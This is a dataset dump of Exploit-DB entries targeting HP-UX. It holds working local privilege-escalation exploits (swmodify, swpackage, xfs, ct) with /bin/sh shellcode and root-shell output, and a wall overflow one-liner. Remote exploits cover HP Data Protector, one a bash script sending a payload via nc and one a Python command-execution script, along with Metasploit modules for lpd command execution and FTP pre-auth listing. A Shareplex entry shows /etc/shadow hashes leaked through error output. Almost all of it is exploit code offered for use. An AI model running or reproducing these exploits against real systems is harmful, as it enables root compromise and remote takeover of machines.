deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2634
Description: HP-UX 11i - 'swmodify' Local Stack Overflow / Local Privilege Escalation
Type: local
Platform: hp-ux
Date: 2006-10-24
Author: prdelka

Exploit:
/* HP-UX swmodify buffer overflow exploit
 * =======================================
 * HP-UX 'swmodify' contains an exploitable stack overflow
 * in the handling of command line arguements. Specifically the
 * problem occurs due to insufficent bounds checking in the "-S"
 * optional arguement. 'swmodify' is installed setuid root by
 * default in HP-UX and allows for local root compromise when
 * exploiting this issue.
 *
 * Example.
 * $ cc prdelka-vs-HPUX-swmodify.c -o prdelka-vs-HPUX-swmodify
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
 * (prdelka-vs-HPUX-swmodify.o) was detected. The linked output may
 * not run on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/[PII_REDACTED]315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ls -al /usr/sbin/swmodify
 * -r-sr-xr-x   2 root       bin        1323008 Nov  3  2003 /usr/sbin/swmodify
 * $ ./prdelka-vs-HPUX-swmodify
 * [ HP-UX 11i 'swmodify' local root exploit
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 *
 * - prdelka
 */

char shellcode[]=
		 "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
		 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
		 "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char adr[4],*b,*a,*c,*envp[1];
        int i;
	*(unsigned long*)adr=0x7f7f0434;
	printf("[ HP-UX 11i 'swmodify' local root exploit\n");
        b=(char*)malloc(2048);
	a=b;
	memset(b,0,2048);
	memset(b,'a',1053);
	b+=1053;
        for(i=0;i<4;i++) *b++=adr[i%4];
	*b++="A";
	c=(char*)malloc(2048);
	b=c;
	memset(c,0,2048);
	sprintf(c,"PATH=");
	b+=5;
	for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
	envp[0]=c;
	envp[1]=0;
        execle("/usr/sbin/swmodify","swmodify","-S",a,0,envp);
}

// milw0rm.com [2006-10-24]
Exploit-DB #2633
Description: HP-UX 11i - 'swpackage' Local Stack Overflow / Local Privilege Escalation
Type: local
Platform: hp-ux
Date: 2006-10-24
Author: prdelka

Exploit:
/* HP-UX swpackage buffer overflow exploit
 * =======================================
 * HP-UX 'swpackage' contains an exploitable stack overflow
 * in the handling of command line arguements. Specifically the
 * problem occurs due to insufficent bounds checking in the "-S"
 * optional arguement. 'swpackage' is installed setuid root by
 * default in HP-UX and allows for local root compromise when 
 * exploiting this issue.
 *
 * Example.
 * $ cc prdelka-vs-HPUX-swpackage.c -o prdelka-vs-HPUX-swpackage
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file 
 * (prdelka-vs-HPUX-swpackage.o) was detected. The linked output may 
 * not run on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/[PII_REDACTED]315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ls -al /usr/sbin/swpackage
 * -r-sr-xr-x   2 root       bin        1323008 Nov  3  2003 /usr/sbin/swpackage
 * $ ./prdelka-vs-HPUX-swpackage
 * [ HP-UX 11i 'swpackage' local root exploit
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 *
 * - prdelka
 */

char shellcode[]=
		 "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
		 "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
		 "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char adr[4],*b,*a,*c,*envp[1];
        int i;
	*(unsigned long*)adr=0x7f7f0434;
	printf("[ HP-UX 11i 'swpackage' local root exploit\n");
        b=(char*)malloc(2048);
	a=b;
	memset(b,0,2048);
	memset(b,'a',1053);
	b+=1053;
        for(i=0;i<4;i++) *b++=adr[i%4];
	c=(char*)malloc(2048);
	b=c;
	memset(c,0,2048);
	sprintf(c,"PATH=");
	b+=5;
	for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
	envp[0]=c;
	envp[1]=0;
        execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}

// milw0rm.com [2006-10-24]
Exploit-DB #24210
Description: HP-UX 7-11 - X Font Server Local Buffer Overflow
Type: local
Platform: hp-ux
Date: 2003-03-10
Author: watercloud

Exploit:
source: https://www.securityfocus.com/bid/10551/info

HP-UX X Font Server is reportedly affected by a local buffer overflow vulnerability. This issue is due to a failure of the application to properly validate the length of a user-supplied string before copying it into a finite buffer.

This issue may result in corruption of the affected application's memory space. This may be exploited to manipulate the execution flow of the vulnerable application, allowing for the execution of arbitrary machine code with the privileges of the 'bin' group.

#!/usr/contrib/bin/perl
#   Name  : x_hpux_xfs.pl
#   Exploit xfs command of HPUX to get bin gid shell.
# * Usage : perl ./x_hpux_xfs.pl
#   Discovered By watercloud 2003-03-10
#   http://www.xfocus.org (English)
#   http://www.xfocus.net (????)
#   Tested: HPUX B11.0
$BUFF="A";
$BUFF.="\x0b\x39\x02\x99"x58;
$BUFF.="\x41\x41\x41\x41\x7f\x7f\x01\x16\x7f\x7f\x01\x1c\x0b\x39\x02\x99";
$BUFF.="\x0b\x39\x02\x57\x2a\xe4\x97\x10\x28\x3b\x70\xef\x08\x37\x02\x43";
$BUFF.="\xb6\xfa\x40\x04\xb6\xf9\x40\x04\xb6\xf8\x40\x04\xe4\x60\xe0\x08";
$BUFF.="\xb6\xf6\x40\xfe\x0b\x39\x02\x99\x2b\x24\x97\x10\x28\x3b\x70\xef";
$BUFF.="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22\x0f\x40\x12\x0e";
$BUFF.="\x08\x39\x02\x43\xe4\x60\xe0\x08\xb4\x16\x70\x16/bin/shA";
open(OUTFILE, ">/tmp/.c");
print OUTFILE "error-file=";
print OUTFILE "\x7f\x7f\x01\x10"x500;
close(OUTFILE);
exec("/usr/bin/X11/xfs -config /tmp/.c -port \'$BUFF\'");
#EOF
Exploit-DB #134
Description: HP-UX B11.11 - '/usr/bin/ct' Format String Privilege Escalation
Type: local
Platform: hp-ux
Date: 2003-12-16
Author: watercloud

Exploit:
/*******************************************************************************
*  File    : x_hp-ux11i_nls_ct.c
*  Usage   : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
*  Purpose : Get a local rootshell from /usr/bin/ct,using HP-UX location language format string bug.
*  Author  : watercloud xfocus org 
*  Tested  : On HP-UX B11.11 .
******************************************************************************/


#include<stdio.h>

#define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
#define TERM "TERM=xterm"
#define NLSPATH "NLSPATH=/tmp/.ex.cat"

#define CMD  "/usr/bin/ct abc_ "
#define MSG "\$set 1\n1128 "
#define PRT_ARG_NUM 2    
#define STACK_LEN 0x180  

#define ENV_BEGIN 0x40   
#define ENV_LEN   0x40  
#define LOW_STACK 0x210  

char buffer[512];
char buff[72]=
  "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
  "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
  "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
  "/bin/shA";
int * pint = (int *) &buff[56];
unsigned int haddr = 0;      
unsigned int dstaddr = 0;    

int main(argc,argv,env)
int argc;char ** argv;char **env;
{
    unsigned int * pa = (unsigned int*)env;
    FILE * fp = NULL;
    int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4;  

    int alig1= ENV_BEGIN - xnum*8;
    int alig2=0;
    int i=0;

    while(*pa != NULL)    
        *pa++=0;
    
    if(strlen(CMD) >ENV_BEGIN-3)
    {
        printf("No enough space to alig our env!\n");
        exit(1);
    }

	printf("Exploite for HP-UX 11i NLS format bug by command ct.\n");
	printf("From watercloud@xfocus.org.  2003-1-4\n");
	printf("   Site : http://www.xfocus.net (CN).\n");
	printf("   Site : http://www.xfocus.org (EN).\n");


    haddr = (unsigned int)&fp & 0xffff0000;
    if(alig1 < 0)
      alig1+=0x10000;
    alig2 = (haddr >> 16) - alig1 -xnum*8 ;
    if(alig2 < 0)
      alig2+=0x10000;

    dstaddr= haddr+ LOW_STACK + STACK_LEN -24;  
    *pint++=dstaddr;
    *pint++=dstaddr;
    *pint++=dstaddr;
    *pint = 0;
    
    /* begin to make our .cat file */
    fp = fopen("/tmp/.ex.k","w");
    if(fp == NULL)
    {
      printf("open file : /tmp/.ex.k for write error.\n");
      exit(1);
    }
    fprintf(fp,"%s",MSG);
    for(;i<xnum;i++)
      fprintf(fp,"%%.8x");
    fprintf(fp,"%%.%ix%%n",alig1);
    fprintf(fp,"%%.%ix%%hn",alig2);
    fclose(fp);
    fp = NULL;
    system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
    unlink("/tmp/.ex.k");


    sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
    putenv(buffer);
    putenv(PATH);
    putenv(TERM);
    putenv(NLSPATH);
    
    printf("¼ÇµÃÉ¾³ýÕâ¸öÁÙÊ±ÎÄ¼þ(Remember to delete the  file): /tmp/.ex.cat .\n");
    execl("/usr/bin/ct","/usr/bin/ct","abc_",0);   /* ºÃÏ·¿ªÊ¼ÁË £º£©  */
} 


// milw0rm.com [2003-12-16]
Exploit-DB #22231
Description: HPUX 10.20/11 Wall Message - Local Buffer Overflow
Type: local
Platform: hp-ux
Date: 2003-02-07
Author: Scotty

Exploit:
source: https://www.securityfocus.com/bid/6800/info

It has been reported that the HPUX wall executable may be prone to a buffer overflow condition. This buffer overflow is alleged to be triggered when an excessive amount of data is redirected into wall as a message intended to be broadcast.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

perl -e 'print "A" x 9000' > /tmp/out
/usr/sbin/wall /tmp/out
Exploit-DB #20724
Description: Shareplex 2.1.3.9/2.2.2 Beta - Arbitrary Local File Disclosure
Type: local
Platform: hp-ux
Date: 2001-03-30
Author: Dixie Flatline

Exploit:
source: https://www.securityfocus.com/bid/2535/info

Shareplex is a database replication tool from Quest Software.

Versions of the product contain a vulnerability which can permit local unprivileged users to read arbitrary files.

The Qview component of Shareplex allows its user to specify a file containing Qview commands as input.

If the contents of the file are not valid Qview commands, they will be output to standard error as part of error messages. Exploiting this behaviour, an attacker can obtain the contents of normally unreadable, sensitive files
from this error output.

This may lead to a compromise of enhanced privileges. 

$ id
uid=500(foo) gid=200(bar)
$ cd <path to shareplex binaries>
$ ./qview
qdump> cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::::::
invalid command root:xDmyz1K9xRKRo:11236::::::
...
Executing: splex:BdJCfh1D32hzo:11290::::::
invalid command splex:BdJCfh1D32hzo:11290::::::
Executing: foo:2MQXUgAcnOcEU:11344::::::
invalid command foo:2MQXUgAcnOcEU:11344::::::
qdump> quit
$
Exploit-DB #17614
Description: HP Data Protector (HP-UX) - Remote Shell
Type: remote
Platform: hp-ux
Date: 2011-08-05
Author: Adrian Puente Z.

Exploit:
#!/bin/bash 
# Exploit Title: HP Data Protector Remote Shell for HPUX
# Date: 2011-08-02
# Author: Adrian Puente Z.
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&pageTitle=data-protector
# Version: 0.9
# Tested on: HPUX
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/ 
# Document.jsp?objectID=c02781143
#
# Powered by Hackarandas www.hackarandas.com 
# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks 
# Lots of thanks to David Llorens (@c4an) for all the help. 
# Ported to HPUX from fdisk's (@fdiskyou) Windows version. 
# Windows version: http://www.exploit-db.com/exploits/17339/ 
#
# 
# Shouts to shellhellboy, r3x, r0d00m, etlow,  
# psymera, nitr0us and ppl in #mendozaaaa 
# 
#

[ $# -lt 3 ] && echo -en "Syntax: `basename ${0}` <host> <port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)
" && exit 0

HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}
Exploit-DB #35961
Description: HP Data Protector 8.x - Remote Command Execution
Type: remote
Platform: hp-ux
Date: 2015-01-30
Author: Juttikhun Khamchaiyaphum

Exploit:
#!/usr/bin/python

# Exploit Title: HP-Data-Protector-8.x Remote command execution.
# Google Dork: -
# Date: 30/01/2015
# Exploit Author: Juttikhun Khamchaiyaphum
# Vendor Homepage: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818
# Software Link: http://www8.hp.com/th/en/software-solutions/data-protector-backup-recovery-software/
# Version: 8.x
# Tested on: IA64 HP Server Rx3600
# CVE : CVE-2014-2623
# Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. "uname -m">"

import socket
import struct
import sys

def exploit(host, port, command):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((host, port))
        print "[+] Target connected."

        OFFSET_DEC_START = 133
        OFFSET_DEC = (OFFSET_DEC_START + len(command))
        # print "OFFSET_DEC_START:" + str(OFFSET_DEC_START)
        # print "len(command)" + str(len(command))
        # print "OFFSET_DEC" + str(OFFSET_DEC)
        OFFSET_HEX = "%x" % OFFSET_DEC
        # print "OFFSET_HEX" + str(OFFSET_HEX)
        OFFSET_USE = chr(OFFSET_DEC)
        # print "Command Length: " + str(len(command))
        PACKET_DATA = "\x00\x00\x00"+\
        OFFSET_USE+\
        "\x20\x32\x00\x20\x73\x73\x73\x73\x73\x73\x00\x20\x30" + \
        "\x00\x20\x54\x45\x53\x54\x45\x52\x00\x20\x74\x65\x73\x74\x65\x72\x00" + \
        "\x20\x43\x00\x20\x32\x30\x00\x20\x74\x65\x73\x65\x72\x74\x65\x73\x74" + \
        "\x2E\x65\x78\x65\x00\x20\x72\x65\x73\x65\x61\x72\x63\x68\x00\x20\x2F" + \
        "\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75" + \
        "\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x30\x00" + \
        "\x20\x32\x00\x20\x75\x74\x69\x6C\x6E\x73\x2F\x64\x65\x74\x61\x63\x68" + \
        "\x00\x20\x2D\x64\x69\x72\x20\x2F\x62\x69\x6E\x20\x2D\x63\x6F\x6D\x20" + \
        " %s\x00" %command

        # Send payload to target
        print "[+] Sending PACKET_DATA"
        sock.sendall(PACKET_DATA)

        # Parse the response back
        print "[*] Result:"
        while True:
            response = sock.recv(2048)
            if not response: break
            print response

    except Exception as ex:
        print >> sys.stderr, "[-] Socket error: \n\t%s" % ex
        exit(-3)
    sock.close()

if __name__ == "__main__":
    try:
        target = sys.argv[1]
        port = int(sys.argv[2])
        command = sys.argv[3]
        exploit(target, port, command)
    except IndexError:
         print("Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. \"uname -m\">")
    exit(0)
Exploit-DB #1261
Description: HP-UX 11.11 - lpd Remote Command Execution (Metasploit)
Type: remote
Platform: hp-ux
Date: 2005-10-19
Author: H D Moore

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'  => 'HP-UX LPD Command Execution',
	'Version'  => '$Revision: 1.13 $',
	'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
	'Arch'  => [ ],
	'OS'    => [ 'hpux' ],
	'Priv'  => 0,
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The LPD server port', 515],
	  },
	'Payload' =>
	  {
		'Space'    => 200,
		'Keys'     => ['cmd_nospaceslash'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
        This exploit abuses an unpublished vulnerability in the HP-UX LPD
        service. This flaw allows an unauthenticated attacker to execute
        arbitrary commands with the privileges of the root user. The LPD
        service is only exploitable when the address of the attacking system
        can be resolved by the target. This vulnerability was silently patched
		with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
}),
	'Refs'  =>  [
		['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
	  ],

	'Keys' => ['lpd'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_path = $self->GetVar('RPATH');
	my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

	my $res;

	# We use a second connection to exploit the bug
	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	  
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	srand(time() + $$);
	my $num = int(rand() * 1000);

	$s->Send("\x02msf$num`$cmd`\n");
	$res = $s->Recv(1, 5);
	if (ord($res) != 0) {
		$self->PrintLine("[*] The target did not accept our second job request command");
		$s->Close;
		return;
	}

	$s->Send("\x02 32 cfA187control\n");
	$res = $s->Recv(1, 5);
	if (ord($res) != 0) {
		$self->PrintLine("[*] The target did not accept our control file");
		$s->Close;
		return;
	}

	$self->PrintLine("[*] Remember to kill the telnet process when finished");
	$self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
	$s->Send(Pex::Text::AlphaNumText(16384));
	$s->Close;

	return;
}

# milw0rm.com [2005-10-19]
Exploit-DB #1259
Description: HP-UX FTP Server - Directory Listing (Metasploit)
Type: remote
Platform: hp-ux
Date: 2005-10-19
Author: Optyx

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::hpux_ftpd_preauth_list;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'  => 'HP-UX FTP Server Preauthentication Directory Listing',
	'Version'  => '$Revision: 1.8 $',
	'Authors' => [ 'Optyx  <optyx [at] uberhax0r.net>'],
	'Arch'  => [ ],
	'OS'    => [ 'hpux' ],
	'Priv'  => 0,
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The FTP server port', 21],
		'RPATH' => [1, 'DATA', 'The path name to list', "/"],
	  },

	'Description'  => Pex::Text::Freeform(qq{
        This exploit abuses an unpublished vulnerability in the HP-UX FTP
        service. This flaw allows an unauthenticated remote user to obtain
        directory listings from this server with the privileges of the root
        user. This vulnerability was silently patched by HP sometime between 
		2001 and 2003.
}),
	'Refs'  =>
	  [
		# None
	  ],

	'Keys' => ['ftp'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_path = $self->GetVar('RPATH');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );
	  
	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	my $l = IO::Socket::INET->new
	  (
		Proto  => 'tcp',
		Listen => 5,
		Blocking => 0,
		ReuseAddr => 1,
	  );

	my $r;
	my $prt = ",".int($l->sockport / 256).",".int($l->sockport % 256);
	my $sel = IO::Select->new($l);
	my $cmd = "PORT ".join(",", split(/\./,Pex::InternetIP($target_host))).$prt."\r\n";

	$r .= $s->Recv(-1, 5);

	$s->Send($cmd);
	$r .= $s->Recv(-1, 5);

	$s->Send("LIST $target_path\r\n");
	$r .= $s->Recv(-1, 5);
	$s->Close;

	foreach (split(/\n/, $r)) {
		chomp;
		$self->PrintLine("[*] $_");
	}

	my @rdy = $sel->can_read(3);
	if (scalar(@rdy)) {
		my $x = $l->accept();
		$self->PrintLine("[*] Accepted connection from ".$x->sockhost.":".$x->sockport);

		while (<$x>) {
			chomp;
			$self->PrintLine($_);
		}
		$x->shutdown(2);
		$x->close;
	}
	$l->shutdown(2);
	$l->close;
	return;
}

# milw0rm.com [2005-10-19]